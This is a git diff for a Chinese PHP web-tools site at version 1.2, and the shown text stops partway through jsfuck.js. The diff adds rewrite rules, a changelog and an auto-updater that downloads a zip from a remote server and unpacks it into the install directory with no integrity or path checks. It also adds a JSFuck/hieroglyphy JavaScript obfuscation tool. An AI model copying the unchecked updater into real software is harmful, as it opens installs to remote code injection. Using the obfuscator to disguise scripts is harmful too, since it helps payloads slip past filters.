版本:1.2 新增在线升级,logo上传,整理小工具到二级目录,代码优化,增加共计13个小工具(重量计量计算换算,fuckjs编码,正则表达式在线测试,JSON验证整理,在线进制转换,中国家庭称谓计算器,文本转ASCII,在线文本对比,在线长度换算器,PV刷新工具,线条字生成,骰子游戏,在线网址链接批量生成器)
|
@ -0,0 +1,10 @@
|
|||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine on
|
||||
RewriteOptions MaxRedirects=1
|
||||
RewriteBase /
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME} !-l
|
||||
RewriteRule ^([a-zA-Z0-9_-]+)$ Tools/$1 [L]
|
||||
</IfModule>
|
||||
|
|
@ -0,0 +1,345 @@
|
|||
<?php
|
||||
/**
|
||||
* 幻想领域自动更新
|
||||
* 二次修改为YoungxjTools自动更新使用
|
||||
* @author: 阿珏
|
||||
* @link: http://img.52ecy.cn
|
||||
*/
|
||||
|
||||
class Autoupdate {
|
||||
/*
|
||||
* 保存日志
|
||||
*/
|
||||
private $_log = false;
|
||||
|
||||
/*
|
||||
* 日志保存路径
|
||||
*/
|
||||
public $logFile = 'update.log';
|
||||
|
||||
/*
|
||||
* 最后的错误
|
||||
*/
|
||||
private $_lastError = null;
|
||||
|
||||
/*
|
||||
* 当前版本
|
||||
*/
|
||||
public $currentVersion = 0;
|
||||
|
||||
/*
|
||||
* 最新版本
|
||||
*/
|
||||
public $latestVersion = null;
|
||||
|
||||
/*
|
||||
* 最新版本地址
|
||||
*/
|
||||
public $latestUpdate = null;
|
||||
|
||||
/*
|
||||
* 更新服务器地址(带/)
|
||||
*/
|
||||
public $updateUrl = 'https://api.yum6.cn/service/';
|
||||
|
||||
/*
|
||||
* 服务器上的版本文件名称
|
||||
*/
|
||||
public $updateIni = 'update.php';
|
||||
|
||||
/*
|
||||
* 临时下载目录
|
||||
*/
|
||||
public $tempDir = 'temp/';
|
||||
|
||||
/*
|
||||
* 安装完成后删除临时目录
|
||||
*/
|
||||
public $removeTempDir = true;
|
||||
|
||||
/*
|
||||
* 安装目录
|
||||
*/
|
||||
public $installDir = '';
|
||||
|
||||
/**
|
||||
* 创建新实例
|
||||
* @param [type] $installDir 安装路径
|
||||
* @param boolean $log 是否启用日志
|
||||
*/
|
||||
public function __construct($installDir,$log = false) {
|
||||
ini_set('max_execution_time', 600);
|
||||
$this->_log = $log;
|
||||
$this->installDir = $installDir;
|
||||
}
|
||||
|
||||
/*
|
||||
* 日志记录
|
||||
*
|
||||
* @param string $message 信息
|
||||
*/
|
||||
public function log($message) {
|
||||
$this->_lastError = $message;
|
||||
if ($this->_log) {
|
||||
$log = fopen($this->logFile, 'a');
|
||||
if ($log) {
|
||||
$message = date('[Y-m-d H:i:s] ').$message."\r\n";
|
||||
fputs($log, $message);
|
||||
fclose($log);
|
||||
}else {
|
||||
$this->_lastError = '无法写入日志文件!';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* 获取错误信息
|
||||
*
|
||||
* @return string 最后的错误
|
||||
*/
|
||||
public function getLastError() {
|
||||
if (!is_null($this->_lastError))
|
||||
return $this->_lastError;
|
||||
else
|
||||
return '日志尚未开启!';
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除指定路径下所有文件
|
||||
* @param [type] $dir 路径
|
||||
*/
|
||||
private function _removeDir($dir) {
|
||||
if (is_dir($dir)) {
|
||||
$objects = scandir($dir);
|
||||
foreach ($objects as $object) {
|
||||
if ($object != "." && $object != "..") {
|
||||
if (filetype($dir."/".$object) == "dir")
|
||||
// 是路径
|
||||
$this->_removeDir($dir."/".$object);
|
||||
else
|
||||
// 删除文件
|
||||
unlink($dir."/".$object);
|
||||
}
|
||||
}
|
||||
reset($objects);
|
||||
rmdir($dir);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* 检查新版本
|
||||
*
|
||||
* @return string 最新版本号
|
||||
*/
|
||||
public function checkUpdate() {
|
||||
$this->log('检查更新. . .');
|
||||
|
||||
$updateFile = $this->updateUrl.$this->updateIni;
|
||||
|
||||
$update = @file_get_contents($updateFile);
|
||||
|
||||
if ($update === false) {
|
||||
$this->log('无法获取更新文件 -->'.$updateFile);
|
||||
return false;
|
||||
}else {
|
||||
$updates = json_decode($update,1);
|
||||
$versions = $updates['data']['version'];
|
||||
|
||||
//$versions = parse_ini_string($update, true);
|
||||
if ($versions) {
|
||||
$this->log('最新版本号 -->'.$versions);
|
||||
$this->latestVersion = $versions;
|
||||
$this->latestUpdate = $updates['data']['github'];
|
||||
return $versions;
|
||||
}else {
|
||||
$this->log('服务端配置文件有误!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* 下载更新文件
|
||||
*
|
||||
* @param string $updateUrl 更新文件URL
|
||||
* @param string $updateFile 下载文件保存目录
|
||||
*/
|
||||
public function downloadUpdate($updateUrl, $updateFile) {
|
||||
$this->log('正在下载更新...');
|
||||
$update = @file_get_contents($updateUrl);
|
||||
|
||||
if ($update === false) {
|
||||
$this->log('无法下载更新 -->'.$updateUrl);
|
||||
return false;
|
||||
}
|
||||
|
||||
$handle = fopen($updateFile, 'w');
|
||||
|
||||
if (!$handle) {
|
||||
$this->log('无法保存更新文件 -->'.$updateFile);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!fwrite($handle, $update)) {
|
||||
$this->log('无法写入更新文件 -->'.$updateFile);
|
||||
return false;
|
||||
}
|
||||
|
||||
fclose($handle);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/*
|
||||
* 安装更新文件
|
||||
*
|
||||
* @param string $updateFile 更新文件路径
|
||||
*/
|
||||
private function install($updateFile) {
|
||||
$zip = zip_open($updateFile);
|
||||
|
||||
while ($file = zip_read($zip)) {
|
||||
$filename = zip_entry_name($file);
|
||||
$foldername = $this->installDir.dirname($filename);
|
||||
|
||||
$this->log('更新中 -->'. $filename);
|
||||
|
||||
if (!is_dir($foldername)) {
|
||||
if (!mkdir($foldername, 0755, true)) {
|
||||
$this->log('无法创建目录 -->'.$foldername);
|
||||
}
|
||||
}
|
||||
|
||||
$contents = zip_entry_read($file, zip_entry_filesize($file));
|
||||
|
||||
//跳过目录
|
||||
if (substr($filename, -1, 1) == '/')
|
||||
continue;
|
||||
|
||||
//写入文件
|
||||
if (file_exists($this->installDir.$filename)) {
|
||||
if (!is_writable($this->installDir.$filename)) {
|
||||
$this->log('无法更新 -->'.$this->installDir.$filename.' 不可写入!');
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
$this->log('文件 -->'.$this->installDir.$filename.' 不存在!');
|
||||
$new_file = fopen($this->installDir.$filename, "w") or $this->log('文件 -->'.$this->installDir.$filename.' 不能创建!');
|
||||
fclose($new_file);
|
||||
$this->log('文件 -->'.$this->installDir.$filename.' 创建成功.');
|
||||
}
|
||||
|
||||
$updateHandle = @fopen($this->installDir.$filename, 'w');
|
||||
|
||||
if (!$updateHandle) {
|
||||
$this->log('无法更新文件 -->'.$this->installDir.$filename);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!fwrite($updateHandle, $contents)) {
|
||||
$this->log('无法写入文件 -->'.$this->installDir.$filename);
|
||||
return false;
|
||||
}
|
||||
fclose($updateHandle);
|
||||
}
|
||||
|
||||
zip_close($zip);
|
||||
|
||||
if ($this->removeTempDir) {
|
||||
$this->log('临时目录 -->'.$this->tempDir.' 被删除');
|
||||
$this->_removeDir($this->tempDir);
|
||||
}
|
||||
|
||||
$this->log('更新 -->'.$this->latestVersion.' 安装完成');
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/*
|
||||
* 更新最新版本
|
||||
*/
|
||||
public function update() {
|
||||
//检查最新版本
|
||||
if ((is_null($this->latestVersion)) or (is_null($this->latestUpdate))) {
|
||||
$this->checkUpdate();
|
||||
}
|
||||
|
||||
if ((is_null($this->latestVersion)) or (is_null($this->latestUpdate))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
//开始更新
|
||||
if ($this->latestVersion > $this->currentVersion) {
|
||||
$this->log('开始更新....');
|
||||
|
||||
//排除文件
|
||||
if ($this->tempDir[strlen($this->tempDir)-1] != '/');
|
||||
$this->tempDir = $this->tempDir.'/';
|
||||
|
||||
if ((!is_dir($this->tempDir)) and (!mkdir($this->tempDir, 0777, true))) {
|
||||
$this->log('临时目录 -->'.$this->tempDir.' 不存在并且无法创建!');
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!is_writable($this->tempDir)) {
|
||||
$this->log('临时目录 -->'.$this->tempDir.' 不可写入!');
|
||||
return false;
|
||||
}
|
||||
|
||||
$updateFile = $this->tempDir.$this->latestVersion.'.zip';
|
||||
$updateUrl = $this->latestUpdate;
|
||||
|
||||
//下载更新
|
||||
if (!is_file($updateFile)) {
|
||||
if (!$this->downloadUpdate($updateUrl, $updateFile)) {
|
||||
$this->log('无法下载更新!');
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->log('最新更新下载 -->'.$updateFile);
|
||||
}else {
|
||||
$this->log('最新更新下载到 -->'.$updateFile);
|
||||
}
|
||||
|
||||
//解压
|
||||
return $this->install($updateFile);
|
||||
}else {
|
||||
$this->log('没有可用更新!');
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 替换旧文件
|
||||
*/
|
||||
public function replaceupdate(){
|
||||
if(is_dir($this->installDir)){
|
||||
}else{
|
||||
$this->log('文件效验失败!');
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->recurse_rename($this->installDir.'YoungxjTools-master',$this->installDir);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 移动程序文件替换旧版本
|
||||
* @param [type] $src 原目录
|
||||
* @param [type] $dst 移动到的目录
|
||||
*/
|
||||
private function recurse_rename($src,$dst) {
|
||||
$dir = opendir($src);
|
||||
@mkdir($dst);
|
||||
while(false !== ( $file = readdir($dir)) ) {
|
||||
if (( $file != '.' ) && ( $file != '..' )) {
|
||||
if ( is_dir($src . '/' . $file) ) {
|
||||
$this->recurse_rename($src . '/' . $file,$dst . '/' . $file);
|
||||
} else {
|
||||
rename($src . '/' . $file,$dst . '/' . $file);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir($dir);
|
||||
}
|
||||
}
|
43
README.md
|
@ -57,7 +57,25 @@
|
|||
|
||||
2. 问:伪静态规则有没有特别的要求?
|
||||
|
||||
答:其实本项目并没有设置相关伪静态规则
|
||||
答:版本1.2需要用到伪静态->
|
||||
Nginx规则:
|
||||
|
||||
if (!-f $request_filename){set $rule_0 1$rule_0;}
|
||||
if (!-d $request_filename){set $rule_0 2$rule_0;}
|
||||
if ($request_filename !~ "-l"){set $rule_0 3$rule_0;}
|
||||
if ($rule_0 = "321"){rewrite ^/([a-zA-Z0-9_-]+)$ /Tools/$1 last;}
|
||||
|
||||
Apache规则:
|
||||
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine on
|
||||
RewriteOptions MaxRedirects=1
|
||||
RewriteBase /
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteCond %{REQUEST_FILENAME} !-d
|
||||
RewriteCond %{REQUEST_FILENAME} !-l
|
||||
RewriteRule ^([a-zA-Z0-9_-]+)$ Tools/$1 [L]
|
||||
</IfModule>
|
||||
|
||||
3. 问:后台路径和密码是什么?
|
||||
|
||||
|
@ -96,16 +114,21 @@
|
|||
|
||||
9. 建议在php中安装redis缓存插件,至于怎么安装请百度,用到缓存插件的目前只有ajax提交评论,如果遇到评论异常请联系解决
|
||||
|
||||
更多问题有待发掘……
|
||||
|
||||
10. 安装之后布局全乱,css加载失败是怎么回事?
|
||||
|
||||
答:安装最新版请删除原有数据库,也有可能是安装是目录填写错误导致。
|
||||
|
||||
更多问题有待发掘……
|
||||
|
||||
#### 更新记录
|
||||
|
||||
1. 2018年5月1日 22:59:35 经网友反馈安装完成后数据库未导入数据的问题,现已更新初始数据库文件。
|
||||
2. 2018年5月2日 15:56:05 更新数据库文件,更新ajax评论提交,更新小细节
|
||||
3. 2018年5月3日 22:04:35 修复一个bug
|
||||
4. 2018年5月5日 13:16:16 完善程序安装,修复安装错误,修复安装锁错误,修复评论提交失败,更新三个小工具
|
||||
5. 2018年5月6日 14:16:12 更新搜索功能,优化悬浮小图标位置
|
||||
6. 2018年5月9日 00:04:30 支持二级目录安装,修复一个工具,优化相关工具
|
||||
7. 2018年5月12日 13:24:58 新增工具排行切换,优化前台框架,后台设置下拉类选项,公告小窗编写,重写后台登录验证,项目版本1.1正式发布
|
||||
8. 2018年5月13日 13:02:22 版本:1.1.1 新增QQ跳转,新增6中排行规则,自定义工具作者
|
||||
1. 2018年5月1日 经网友反馈安装完成后数据库未导入数据的问题,现已更新初始数据库文件。
|
||||
2. 2018年5月2日 更新数据库文件,更新ajax评论提交,更新小细节
|
||||
3. 2018年5月3日 修复一个bug
|
||||
4. 2018年5月5日 完善程序安装,修复安装错误,修复安装锁错误,修复评论提交失败,更新三个小工具
|
||||
5. 2018年5月6日 更新搜索功能,优化悬浮小图标位置
|
||||
6. 2018年5月9日 支持二级目录安装,修复一个工具,优化相关工具
|
||||
7. 2018年5月12日 新增工具排行切换,优化前台框架,后台设置下拉类选项,公告小窗编写,重写后台登录验证,项目版本1.1正式发布
|
||||
8. 2018年5月13日 版本:1.1.1 新增QQ跳转,新增6中排行规则,自定义工具作者
|
||||
9. 2018年6月12日 版本:1.2 新增在线升级,logo上传,整理小工具到二级目录,代码优化,增加共计13个小工具(重量计量计算换算,fuckjs编码,正则表达式在线测试,JSON验证整理,在线进制转换,中国家庭称谓计算器,文本转ASCII,在线文本对比,在线长度换算器,PV刷新工具,线条字生成,骰子游戏,在线网址链接批量生成器)
|
|
@ -1,29 +0,0 @@
|
|||
<?php
|
||||
$id="29";
|
||||
include '../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
<div class="page-header">
|
||||
<h3 class="text-center h3-xs"><?php echo $title;?><small class="text-capitalize"><?php echo $subtitle;?></small></h3>
|
||||
</div>
|
||||
<h5 class="text-right"><small><?php echo $explains;?></small></h5>
|
||||
<div class="form-group" id="input-wrap">
|
||||
<label class="control-label control-msg" for="inputContent" copy="Youngxj|杨小杰,admin@youngxj.com"></label>
|
||||
<div class="input-group">
|
||||
<input type="text" class="form-control" aria-label="..." placeholder="域名" id="form-control">
|
||||
<div class="input-group-btn">
|
||||
<button class="btn btn-default" type="button" id="btn_state">启动</button>
|
||||
</div><!-- /btn-group -->
|
||||
</div><!-- /input-group -->
|
||||
</div><!-- /.col-lg-6 -->
|
||||
<div class="form-controlss text-lefter">
|
||||
<div id="content"><?php echo $content;?></div>
|
||||
<div id="msg"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php more('StatusCode','url',Tools_url);?>
|
||||
<script type="text/javascript" src="StatusCode.php"></script>
|
||||
<?php include '../footer.php';?>
|
|
@ -0,0 +1,201 @@
|
|||
;(function (global, undefined) {
|
||||
/*jshint sub:true, evil:true */
|
||||
"use strict";
|
||||
|
||||
var numbers,
|
||||
_object_Object,
|
||||
_NaN,
|
||||
_true,
|
||||
_false,
|
||||
_undefined,
|
||||
_Infinity,
|
||||
_1e100,
|
||||
characters,
|
||||
functionConstructor,
|
||||
escape,
|
||||
unescape,
|
||||
locationString,
|
||||
API;
|
||||
|
||||
numbers = [
|
||||
"+[]",
|
||||
"+!![]",
|
||||
"!+[]+!![]",
|
||||
"!+[]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]+!![]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]",
|
||||
"!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]"
|
||||
];
|
||||
|
||||
characters = {
|
||||
"0" : "(" + numbers[0] + "+[])",
|
||||
"1" : "(" + numbers[1] + "+[])",
|
||||
"2" : "(" + numbers[2] + "+[])",
|
||||
"3" : "(" + numbers[3] + "+[])",
|
||||
"4" : "(" + numbers[4] + "+[])",
|
||||
"5" : "(" + numbers[5] + "+[])",
|
||||
"6" : "(" + numbers[6] + "+[])",
|
||||
"7" : "(" + numbers[7] + "+[])",
|
||||
"8" : "(" + numbers[8] + "+[])",
|
||||
"9" : "(" + numbers[9] + "+[])"
|
||||
};
|
||||
|
||||
_object_Object = "[]+{}";
|
||||
_NaN = "+{}+[]";
|
||||
_true = "!![]+[]";
|
||||
_false = "![]+[]";
|
||||
_undefined = "[][[]]+[]";
|
||||
|
||||
characters[" "] = "(" + _object_Object + ")[" + numbers[7] + "]";
|
||||
characters["["] = "(" + _object_Object + ")[" + numbers[0] + "]";
|
||||
characters["]"] = "(" + _object_Object + ")[" + characters[1] + "+" +
|
||||
characters[4] + "]";
|
||||
characters["a"] = "(" + _NaN + ")[" + numbers[1] + "]";
|
||||
characters["b"] = "(" + _object_Object + ")[" + numbers[2] + "]";
|
||||
characters["c"] = "(" + _object_Object + ")[" + numbers[5] + "]";
|
||||
characters["d"] = "(" + _undefined + ")[" + numbers[2] + "]";
|
||||
characters["e"] = "(" + _undefined + ")[" + numbers[3] + "]";
|
||||
characters["f"] = "(" + _undefined + ")[" + numbers[4] + "]";
|
||||
characters["i"] = "(" + _undefined + ")[" + numbers[5] + "]";
|
||||
characters["j"] = "(" + _object_Object + ")[" + numbers[3] + "]";
|
||||
characters["l"] = "(" + _false + ")[" + numbers[2] + "]";
|
||||
characters["n"] = "(" + _undefined + ")[" + numbers[1] + "]";
|
||||
characters["o"] = "(" + _object_Object + ")[" + numbers[1] + "]";
|
||||
characters["r"] = "(" + _true + ")[" + numbers[1] + "]";
|
||||
characters["s"] = "(" + _false + ")[" + numbers[3] + "]";
|
||||
characters["t"] = "(" + _true + ")[" + numbers[0] + "]";
|
||||
characters["u"] = "(" + _undefined + ")[" + numbers[0] +"]";
|
||||
characters["N"] = "(" + _NaN + ")[" + numbers[0] + "]";
|
||||
characters["O"] = "(" + _object_Object + ")[" + numbers[8] + "]";
|
||||
|
||||
_Infinity = "+(" + numbers[1] + "+" + characters["e"] + "+" +
|
||||
characters[1] + "+" + characters[0] + "+" + characters[0] + "+" +
|
||||
characters[0] + ")+[]";
|
||||
|
||||
characters["y"] = "(" + _Infinity + ")[" + numbers[7] + "]";
|
||||
characters["I"] = "(" + _Infinity + ")[" + numbers[0] + "]";
|
||||
|
||||
_1e100 = "+(" + numbers[1] + "+" + characters["e"] + "+" +
|
||||
characters[1] + "+" + characters[0] + "+" + characters[0] + ")+[]";
|
||||
|
||||
characters["+"] = "(" + _1e100 + ")[" + numbers[2] + "]";
|
||||
|
||||
functionConstructor = "[][" + hieroglyphyString("sort") + "][" +
|
||||
hieroglyphyString("constructor") + "]";
|
||||
|
||||
//Below characters need target http(s) pages
|
||||
locationString = "[]+" + hieroglyphyScript("return location");
|
||||
characters["h"] = "(" + locationString + ")" + "[" + numbers[0] + "]";
|
||||
characters["p"] = "(" + locationString + ")" + "[" + numbers[3] + "]";
|
||||
characters["/"] = "(" + locationString + ")" + "[" + numbers[6] + "]";
|
||||
|
||||
unescape = hieroglyphyScript("return unescape");
|
||||
escape = hieroglyphyScript("return escape");
|
||||
|
||||
characters["%"] = escape + "(" + hieroglyphyString("[") + ")[" +
|
||||
numbers[0] + "]";
|
||||
|
||||
function getHexaString (number, digits) {
|
||||
var string = number.toString(16);
|
||||
|
||||
while (string.length < digits) {
|
||||
string = "0" + string;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
function getUnescapeSequence (charCode) {
|
||||
return unescape + "(" +
|
||||
hieroglyphyString("%" + getHexaString(charCode, 2)) + ")";
|
||||
}
|
||||
|
||||
function getHexaSequence (charCode) {
|
||||
return hieroglyphyString("\\x" + getHexaString(charCode, 2));
|
||||
}
|
||||
|
||||
function getUnicodeSequence (charCode) {
|
||||
return hieroglyphyString("\\u" + getHexaString(charCode, 4));
|
||||
}
|
||||
|
||||
function hieroglyphyCharacter (char) {
|
||||
var charCode = char.charCodeAt(0),
|
||||
unescapeSequence,
|
||||
hexaSequence,
|
||||
unicodeSequence,
|
||||
shortestSequence;
|
||||
|
||||
if (characters[char] !== undefined) {
|
||||
return characters[char];
|
||||
}
|
||||
|
||||
if ((char === "\\") || (char == "x")) {
|
||||
//These chars must be handled appart becuase the others need them
|
||||
characters[char] = getUnescapeSequence(charCode);
|
||||
return characters[char];
|
||||
}
|
||||
|
||||
shortestSequence = getUnicodeSequence(charCode);
|
||||
|
||||
//ASCII characters can be obtained with hexa and unscape sequences
|
||||
if (charCode < 128) {
|
||||
unescapeSequence = getUnescapeSequence(charCode);
|
||||
if (shortestSequence.length > unescapeSequence.length) {
|
||||
shortestSequence = unescapeSequence;
|
||||
}
|
||||
|
||||
hexaSequence = getHexaSequence(charCode);
|
||||
if (shortestSequence.length > hexaSequence.length) {
|
||||
shortestSequence = hexaSequence;
|
||||
}
|
||||
}
|
||||
|
||||
characters[char] = shortestSequence;
|
||||
return shortestSequence;
|
||||
}
|
||||
|
||||
function hieroglyphyString (str) {
|
||||
var i,
|
||||
hieroglyphiedStr = "";
|
||||
|
||||
for (i = 0; i < str.length; i += 1) {
|
||||
|
||||
hieroglyphiedStr += (i > 0) ? "+" : "";
|
||||
hieroglyphiedStr += hieroglyphyCharacter(str[i]);
|
||||
}
|
||||
|
||||
return hieroglyphiedStr;
|
||||
}
|
||||
|
||||
function hieroglyphyNumber (n) {
|
||||
n = +n;
|
||||
|
||||
if (n <= 9) {
|
||||
return numbers[n];
|
||||
}
|
||||
|
||||
return "+(" + hieroglyphyString(n.toString(10)) + ")";
|
||||
}
|
||||
|
||||
function hieroglyphyScript (src) {
|
||||
return functionConstructor + "(" + hieroglyphyString(src) + ")()";
|
||||
}
|
||||
|
||||
API = {
|
||||
hieroglyphyString: hieroglyphyString,
|
||||
hieroglyphyNumber: hieroglyphyNumber,
|
||||
hieroglyphyScript: hieroglyphyScript
|
||||
};
|
||||
|
||||
if (global.define && global.define.amd) {
|
||||
global.define([], API);
|
||||
} else if (typeof exports !== "undefined") {
|
||||
module.exports = API;
|
||||
} else {
|
||||
global.hieroglyphy = API;
|
||||
}
|
||||
|
||||
})(this);
|
|
@ -0,0 +1,160 @@
|
|||
<?php
|
||||
$id="44";
|
||||
include '../../header.php';
|
||||
?>
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">js编码</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="col-md-6 col-md-offset-3">
|
||||
<form class="ns">
|
||||
<p><b><span class="form_label" style="width: 300px;">贴入要加密混乱的Javascript代码</span></b></p>
|
||||
<p><textarea id="js_input" value="" class="form-control" rows="5">document.write('YoungxjTools tools.yum6.cn');</textarea></p>
|
||||
<p>
|
||||
<input type="button" class="btn btn-primary" onclick="javascript:on_click(1);" value="转码1">
|
||||
<input type="button" class="btn btn-success" onclick="javascript:on_click(2);" value="转码2">
|
||||
<input type="button" class="btn btn-info" onclick="javascript:on_click(3);" value="字符串转码">
|
||||
<input type="button" class="btn btn-warning" onclick="javascript:on_click(4);" value="JS转码">
|
||||
<input type="button" class="btn btn-default" onclick="javascript:on_click(5);" value="数字转码">
|
||||
</p>
|
||||
<p>
|
||||
<textarea id="js_output" value="" class="form-control" rows="7"></textarea>
|
||||
</p>
|
||||
<div ><span id="stats" class="green" style="float:right;"> </span></div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="hieroglyphy.js"></script>
|
||||
<script src="jsfuck.js"></script>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">工具简介</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<li>6个字符[]()!+进行的转码加密</li>
|
||||
<li>建议只转码加密关键信息,代码过长转码加密时间会很长,甚至卡死。</li>
|
||||
<li style="color:red;">转码1 = 不直接执行</li>
|
||||
<li style="color:red;">转码2 = 直接执行</li>
|
||||
<li>工具可以把你的Javascript代码转化成只有6 个字符 []()!+ 的代码,并且完全可以正常执行。</li>
|
||||
<li>转换之后的Javascript代码非常难读,可以作为一些简单的保密措施,但是一般会增加文件大小,不建议采用。</li>
|
||||
<li>如果用作加密工具,请注意备份未加密的源代码。</li>
|
||||
<table class="table table-bordered table-striped">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Js代码</th>
|
||||
<th>转码</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>false</code>
|
||||
</th>
|
||||
<td>![]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>true</code>
|
||||
</th>
|
||||
<td>!![]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>undefined</code>
|
||||
</th>
|
||||
<td>[][[]]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>NaN</code>
|
||||
</th>
|
||||
<td>+[![]]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>0</code>
|
||||
</th>
|
||||
<td>+[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>1</code>
|
||||
</th>
|
||||
<td>+!+[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>2</code>
|
||||
</th>
|
||||
<td>!+[]+!+[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>10</code>
|
||||
</th>
|
||||
<td>[+!+[]]+[+[]]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>Array</code>
|
||||
</th>
|
||||
<td>[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>Number</code>
|
||||
</th>
|
||||
<td>+[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>String</code>
|
||||
</th>
|
||||
<td>[]+[]</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th scope="row">
|
||||
<code>Boolean</code>
|
||||
</th>
|
||||
<td>![]</td>
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
function on_click(t) {
|
||||
if (t == 1) {
|
||||
var output = JSFuck.encode($("#js_input").val(), 0);
|
||||
$("#js_output").val(output);
|
||||
$("#stats").html(output.length + " 字符");
|
||||
}
|
||||
else if(t == 2) {
|
||||
var output = JSFuck.encode($("#js_input").val(), 1);
|
||||
$("#js_output").val(output);
|
||||
$("#stats").html(output.length + " 字符");
|
||||
}
|
||||
else if(t == 3) {
|
||||
var output = hieroglyphy.hieroglyphyString($("#js_input").val());
|
||||
$("#js_output").val(output);
|
||||
$("#stats").html(output.length + " 字符");
|
||||
}
|
||||
else if(t == 4) {
|
||||
var output = hieroglyphy.hieroglyphyScript($("#js_input").val());
|
||||
$("#js_output").val(output);
|
||||
$("#stats").html(output.length + " 字符");
|
||||
}
|
||||
else if(t == 5) {
|
||||
var output = hieroglyphy.hieroglyphyNumber(+($("#js_input").val()));
|
||||
$("#js_output").val(output);
|
||||
$("#stats").html(output.length + " 字符");
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,315 @@
|
|||
/*! JSFuck 0.4.0 - http://jsfuck.com */
|
||||
|
||||
(function(self){
|
||||
|
||||
var USE_CHAR_CODE = "USE_CHAR_CODE";
|
||||
|
||||
var MIN = 32, MAX = 126;
|
||||
|
||||
var SIMPLE = {
|
||||
'false': '![]',
|
||||
'true': '!![]',
|
||||
'undefined': '[][[]]',
|
||||
'NaN': '+[![]]',
|
||||
'Infinity': '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])' // +"1e1000"
|
||||
};
|
||||
|
||||
var CONSTRUCTORS = {
|
||||
'Array': '[]',
|
||||
'Number': '(+[])',
|
||||
'String': '([]+[])',
|
||||
'Boolean': '(![])',
|
||||
'Function': '[]["filter"]',
|
||||
'RegExp': 'Function("return/0/")()'
|
||||
};
|
||||
|
||||
var MAPPING = {
|
||||
'a': '(false+"")[1]',
|
||||
'b': '(+(11))["toString"](20)',
|
||||
'c': '([]["filter"]+"")[3]',
|
||||
'd': '(undefined+"")[2]',
|
||||
'e': '(true+"")[3]',
|
||||
'f': '(false+"")[0]',
|
||||
'g': '(+false+[false]+String)[20]',
|
||||
'h': '(+(101))["toString"](21)[1]',
|
||||
'i': '([false]+undefined)[10]',
|
||||
'j': '(+(40))["toString"](21)[1]',
|
||||
'k': '(+(20))["toString"](21)',
|
||||
'l': '(false+"")[2]',
|
||||
'm': '(Number+"")[11]',
|
||||
'n': '(undefined+"")[1]',
|
||||
'o': '(true+[]["filter"])[10]',
|
||||
'p': '(+(211))["toString"](31)[1]',
|
||||
'q': '(+(212))["toString"](31)[1]',
|
||||
'r': '(true+"")[1]',
|
||||
's': '(false+"")[3]',
|
||||
't': '(true+"")[0]',
|
||||
'u': '(undefined+"")[0]',
|
||||
'v': '(+(31))["toString"](32)',
|
||||
'w': '(+(32))["toString"](33)',
|
